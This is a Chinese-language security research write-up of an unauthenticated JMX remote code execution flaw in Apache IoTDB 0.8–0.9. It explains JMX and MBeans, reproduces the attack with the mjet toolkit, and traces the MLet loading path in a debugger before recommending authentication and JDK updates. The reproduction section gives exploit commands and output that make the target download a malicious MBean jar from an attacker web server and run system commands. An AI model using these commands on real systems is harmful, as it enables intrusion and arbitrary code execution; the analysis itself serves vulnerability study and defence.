作者:hu4wufu@白帽匯安全研究院
核對:r4v3zn@白帽匯安全研究院

前言

JMX

JMXJava Management Extensions)是一種Java技術,主要為管理和監視應用程序、系統對象、設備(如打印機)和面向服務的網絡提供相應的工具。也就是java版本的SNMP(簡單網絡管理協議),JMXSNMP另一個共同點就是,JMX不僅能遠程系統讀取值,還可以用于調用遠程系統的方法。

我們可以看一下整體架構:

image-20200929200504831

從上面的架構圖可以看到JMX主要分三層,分別是:

1、設備層(Instrumentation Level

主要定義了信息模型。在JMX中,各種管理對象以管理構件的形式存在,需要管理時,向MBean服務器進行注冊。該層還定義了通知機制以及一些輔助元數據類。

設備層其實就是和被管設備通信的模塊,對于上層的管理者來說,Instrumentation 就是設備,具體設備如何通信,是采用SNMP,還是采用ICMP,是MBean的事情。

該層定義了如何實現JMX管理資源的規范。一個JMX管理資源可以是一個Java應用、一個服務或一個設備,它們可以用Java開發,或者至少能用Java進行包裝,并且能被置入JMX框架中,從而成為JMX的一個管理構件(Managed Bean),簡稱MBean。管理構件可以是標準的,也可以是動態的,標準的管理構件遵從JavaBeans構件的設計模式;動態的管理構件遵從特定的接口,提供了更大的靈活性。

JMX規范中,管理構件定義如下:它是一個能代表管理資源的Java對象,遵從一定的設計模式,還需實現該規范定義的特定的接口。該定義了保證了所有的管理構件以一種標準的方式來表示被管理資源。

管理接口就是被管理資源暴露出的一些信息,通過對這些信息的修改就能控制被管理資源。一個管理構件的管理接口包括:

1) 能被接觸的屬性值
2) 能夠執行的操作
3) 能發出的通知事件
4) 管理構件的構建器

Standard MBean是最簡單的MBean,它管理的資源必須定義在接口中,然后MBean必須實現這個接口。它的命名也必須遵循一定的規范,例如我們的MBeanHello,則接口必須為HelloMBean

2、代理層(Agent Level

Agent層 用來管理相應的資源,并且為遠端用戶提供訪問的接口。Agent層構建在設備層之上,并且使用并管理設備層內部描述的組件。Agent層主要定義了各種服務以及通信模型。該層的核心是 MBeanServer,所有的MBean都要向它注冊,才能被管理。注冊在MBeanServer上的MBean并不直接和遠程應用程序進行通信,他們通過 協議適配器(Adapter) 和 連接器(Connector) 進行通信。通常Agent由一個MBeanServer和多個系統服務組成。JMX Agent并不關心它所管理的資源是什么。

3、分布服務層(Distributed Service Level

分布服務層關心Agent如何被遠端用戶訪問的細節。它定義了一系列用來訪問Agent的接口和組件,包括AdapterConnector的描述。

MBean

利用JMX,我們可以像托管bean一樣來管理各種資源。托管beanMBean)是遵循JMX標準的某些設計規則的Java Bean類。MBean可以表示設備、應用程序或需要通過JMX管理的任何資源。您可以通過JMX來訪問這些MBean,比如查詢屬性和調用Bean方法。

并不是所有的java類都能被管理,只有按照特定格式編寫的java類才能被JMX管理。這種特定格式機制我們稱為MBean

JMX標準在不同的MBean類型之間有所差異,但是,我們這里只處理標準MBean。為了成為有效的MBeanJava類必須:

  • 實現一個接口
  • 提供默認的構造函數(不帶任何參數)
  • 遵循某些命名約定,例如實現getter/setter方法來讀/寫屬性

創建一個MBean,首先需要定義一個接口。下面給出一個最簡單的MBean示例:

package de.mogwailabs.MBeans;

public interface HelloMBean {
   // getter and setter for the attribute "name"
   public String getName();
   public void setName(String newName);
   // Bean method "sayHello"
   public String sayHello(); 

}

下一步是為已定義的接口提供一個實現。注意,其名稱應該始終與接口保持一致,除掉后綴“MBean”部分。

package de.mogwailabs.MBeans;
public class Hello implements HelloMBean {
     private String name = "MOGWAI LABS";
   // getter/setter for the "name" attribute
   public String getName() { return this.name; }
   public void setName(String newName) { this.name = newName; }
   // Methods
   public String sayHello() { return "hello: " + name; }
}

MBean服務器

MBean服務器是一種管理系統MBean的服務。開發人員可以按照特定的命名模式在服務器中注冊MBeanMBean服務器將傳入的消息轉發給已注冊的MBean。該服務還負責將消息從MBean轉發給外部組件。

默認情況下,每個Java進程都會運行一個MBean服務器服務,我們可以通過ManagementFactory.getPlatformMBeanServer();來訪問它。下面給出的示例代碼將“連接”到當前進程的MBean服務器,并打印輸出所有已注冊的MBean

package de.mogwailabs.MBeanClient;
import java.lang.management.ManagementFactory;
import javax.management.*;
public class MBeanClient {
       publicstatic void main(String[] args) throws Exception {                  
       // Connect to the MBean server of the current Java process
       MBeanServer server = ManagementFactory.getPlatformMBeanServer();
       System.out.println( server.getMBeanCount() );
       // Print out each registered MBean
        for ( object object :server.queryMBeans(new objectName("*:*"), null) ) {
          System.out.println( ((objectInstance)object).getobjectName() );
       }
    }
}

要想創建可以通過MBean服務器供外部調用的MBean實例,則需要使用objectName類完成相應的注冊。每個MBean的名稱,不僅要遵循對象命名約定,同時,還必須是獨一無二的。名稱分為域(通常是包)名和對象名兩個部分。對象名稱應包含“type”屬性。如果給定域中只能有一個給定類型的實例,那么除了type屬性之外,通常不應該有任何其他屬性。

對于已經實現的MBean,我們需要MBeanServer。可以將MBeanServer理解為一個MBean的倉庫,需要監控的MBean都需要先注冊到倉庫中。向MBeanServer注冊MBean有兩種方式,一是本地注冊,二是遠程注冊。遠程注冊就為我們執行任意代碼提供了可能。然后jdk有一些MBean,其中有一個MBeanmlet。讓我們能夠在本地向遠端注冊MBean

漏洞概況

Apache IoTDB 0.9.00.9.10.8.00.8.2中發現了一個問題。在啟動IoTDB時,JMX端口31999無需任何認證即可暴露,然后客戶端可以遠程執行代碼。

這個漏洞原理是基于RMIJMX服務,攻擊者可以遠程注冊一個惡意的 MBean,再去調用里面的用于執行命令的方法達到攻擊效果。

首先是MBeanServer提供了一套遠程注冊MBean的機制,本地向MBeanserver注冊一個MBean,也就是MletMlet是實現了一個函數getMBeansFromURL(url),這個函數能夠加載并實例化我們指定的遠程MBean,從而導致了我們的惡意payloadMBean被加載注冊到MBeanServer上,導致任意命令執行。

然后讓目標機遠程加載我們部署的惡意MBean,并在目標機上創建這個MBean,然后就可以用JMX協議控制這個惡意的MBean,通過Runtime類的exec方法執行命令。

環境準備

測試環境:JDK 1.8.0_131jython2.7.0apache-iotdb-0.9.0

iotdb下載地址:https://archive.apache.org/dist/incubator/iotdb/

poc下載地址:https://github.com/mogwailabs/mjet

這里iotdb可以下載源碼調試,本文采取的是遠程調試。

sbin目錄下的start-server.sh配置:

image-20200927113951505

idea配置:

image-20200927113641944

這里poc使用了jython的環境進行調試,先在歷史版本下載所需要的jython的版本。

下載地址:https://search.maven.org/artifact/org.python/jython-installer

然后安裝后配置idea,為Jython項目配置環境。打開idea,打開PreferencesPlugins下,搜索安裝插件python,點擊install

image-20200929162917188

然后就可以創建jython項目了。

image-20200929165101868

我們將惡意的jar包和mejt.py拷貝進去。

image-20200929165224808

配置poc如下:

image-20200927164231772

漏洞復現

poc:

java -jar jython-standalone-2.7.0.jar mjet.py 10.10.10.182 31999 install super_secret http://10.10.10.182:8000/ 8000

java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 31999 command super_secret "ls -l" 

首先部署惡意MBean,第一個ip是易受攻擊者ip,運行著易受攻擊的JMX服務,第二個ip是攻擊者的ipJMX服務將連接到攻擊者的Web服務,以下載有效載荷jar文件,mjet將在端口8000上啟動必要的Web服務。

成功安裝MBean后,默認密碼將改為命令行提供的密碼super_secret

hu4wufu@bogon mjet-master % java -jar jython-standalone-2.7.0.jar mjet.py 10.10.10.182 31999 install super_secret http://10.10.10.182:8000/ 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000   
[+] Using JMX RMI   
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.10.10.182:31999/jmxrmi
[+] Connected: rmi://10.10.10.182  2
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.10.10.182:8000/
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.10.10.182 - - [10/Sep/2020 15:55:33] "GET / HTTP/1.1" 200 -
10.10.10.182 - - [10/Sep/2020 15:55:33] "GET /azmzjazz.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

安裝有效負載后,我們執行OS命令,在目標中運行命令“ls -l”

hu4wufu@bogon mjet-master % java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 31999 command super_secret "ls -l"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:31999/jmxrmi
[+] Connected: rmi://10.10.10.182  3
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -l
total 56
drwxr-xr-x@ 3 hu4wufu  staff    96  9  7 21:43 data
-rw-------  1 hu4wufu  staff   165  9  7 15:02 nohup.out
-rwx------@ 1 hu4wufu  staff  2002 11 20  2019 start-client.bat
-rwx------@ 1 hu4wufu  staff  1556  9  8 18:14 start-client.sh
-rwx------@ 1 hu4wufu  staff  3126  9  8 16:36 start-server.bat
-rwx------@ 1 hu4wufu  staff  2054  9  9 14:41 start-server.sh
-rwx------  1 hu4wufu  staff  1034  8 26  2019 stop-server.bat
-rwx------  1 hu4wufu  staff   999  8 26  2019 stop-server.sh

image-20200909210150225

漏洞分析

我們先來看一下遠程注冊MBean的過程,這里payload使用的是jython環境。

首先來解釋一下poc,每一個MBean都需要實現一個接口,而且這個接口的命名是有講究的,必須以MBean結尾,例如這里是編寫了一個MogwailLabsPayloadMBean接口,然后我們需要實現這個MBean,同樣這個實現的命名是去掉對應接口的的MBean后綴,也就是MogwailLabsPayload。在MogwailLabsPayload里邊的方法,我們注冊到MBeanServer后面可以隨便調用。

image-20200929180832958

根據poc,我們來看一下mjet.pyinstallMode()函數,往JMX里邊注冊mjet

image-20200921223740362

跟進installMode()函數,開始連接JMX服務。

image-20200915203906410

跟進connectToJMX()函數,這里首先創建SSL連接,然后判斷jmxmp的類型,這里可知是jxmrmi,然后就是確定JMX的地址和端口。這里一開始將我們設置的參數帶入,包括設置的密碼,以及payloadurl地址和端口,還有就是就是JMX服務地址和端口。

image-20200924173930048

bean_server創建結束,主要作用是與iotDB里邊的JMX通信。

接下來跟進去mjet.pyinstallMBean()函數,這里JMX開始在目標服務器上創建MBeanjavax.management.loading.MLet的實例,(然后調用MLet實例的getMBeansFromURL方法,將Web服務器URL作為參數進行傳遞。JMX服務將連接到http服務器裝載的惡意MBean對象,也就是事先準備好的MogwaiLabsPayload。每個MBean都需要都需要一個接口,而且這個接口的命名必須要以MBean結尾。

image-20200915214636603

開始加載遠程的一個惡意的MBean。進行一個遠程的方法調用,創建一個javax.management.loading.MLet的類對象。

image-20200915223031171

我們跳到了iotDB里邊,來看一下如何創建一個的MLet,最早是調用了javax.management.remote.rmi.RMIConnectionImpl:239$createMBean()方法

可以看到傳遞過來的方法對象,以及rmi服務地址。

image-20200923224948366

我們進入javax.managment.remote.rmi.RMIConnectionImpl:1309$doOperation(),接下來就是對參數進行操作。

image-20200921000320995

跟進去doOperation()方法,operation3,調用MBeanServer.createMBean()方法。

image-20200916120353535

直接跟進javax.management.loading.MLet.java,調用mlet的構造方法,開始實例化一個Mlet的對象。

image-20200923225641405

image-20200923225815973

加載完成javax.management.loading.MLet,開始調用MBean實例的getMBeansFromURL方法,將Web服務器URL作為參數進行傳遞。JMX服務將從存放惡意類的http服務器上解析惡意的MBean,裝載惡意的MBean對象,也就是事先準備好的MogwaiLabsPayload

image-20200925161529921

同樣進行javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation的操作,跟進,我們跟到javax.management.remote.rmi.RMIConnectionImpl$doOperation(),這里獲取MBeanServer的getdefaultdomain(),也就是返回MBean的默認域。

image-20200925162220973

com.sun.jmx.interceptor.DefaultMBeanServerInterceptor:1088,這里MLet指定的MBean被實例化,并在MBean服務器中注冊。

image-20200925163207895

最終在com.sun.jmx.mbeanserver.Repository:489注冊了類型為Mlet的惡意的MBean

image-20200927191435314

operation14javax.management.remote.rmi.RMIConnectionImpl:1468然后遠程調用MletgetMBeansFromURL方法。

image-20200927203506347

com.sun.jmx.mbeanserver.JmxMBeanServer:801

image-20200927203717988

成功加載惡意的MBean

image-20200927204705637

接著往下,根據poc,開始修改默認密碼為一開始命令行輸入的參數。

image-20200927204003998

javax.management.remote.rmi.RMIConnectionImpl$doOperation:1468 同樣先獲取惡意MBean的實例,反射調用遠程方法,這里是MogwaiLabsPayloadchangePassword方法。

image-20200928220538143

開始在MBeanServer的注冊中心檢索名稱為MogwaiLabs的對象,也就是我們之前加載進去的惡意MBean

image-20200925170614112

至此,惡意的MBean已經加載到服務器上,惡意MBean可通過JMX獲取,攻擊者可通過密碼執行任意命令。

接下來我們來看下命令執行的過程,首先連接JMX服務,傳入要執行的命令和之前設置的密碼。

image-20200928174253280

然后調用getObjectInstance()創建之前加載的惡意類的實例。

image-20200928113944846

然后反射遠程調用任意方法,這里調用的是MogwaiLabsPayloadrunCMD方法。

image-20200928215114736

image-20200928215205880

最終在調用ProcessBuilder()方法執行系統命令。

image-20200928115941148

image-20200928212716976

總結

JMX漏洞是一個通用型漏洞,如果遇到java系統開啟JMX服務的都可以使用該漏洞poc測試一下。

iotDB0.9.2版本以后是默認設置JMX_LOCAL="true"關閉遠程訪問,當想開啟遠程連接的時候,JMX_local改成false,這時候就采用用戶名密碼控制。

所以啟用身份驗證來保護JMX服務是非常重要的,否則的話,JMX服務就很容易被攻擊者入侵。實際上,JMX自身已經提供了這種功能,包括對TLS加密連接的支持。

除了啟用身份驗證之外,還應該確保JDK環境是最新的,因為攻擊者可能會嘗試使用Java反序列化漏洞來利用底層RMI實現;如果沒有及時更新的話,啟用了身份驗證也無濟于事。

參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1353/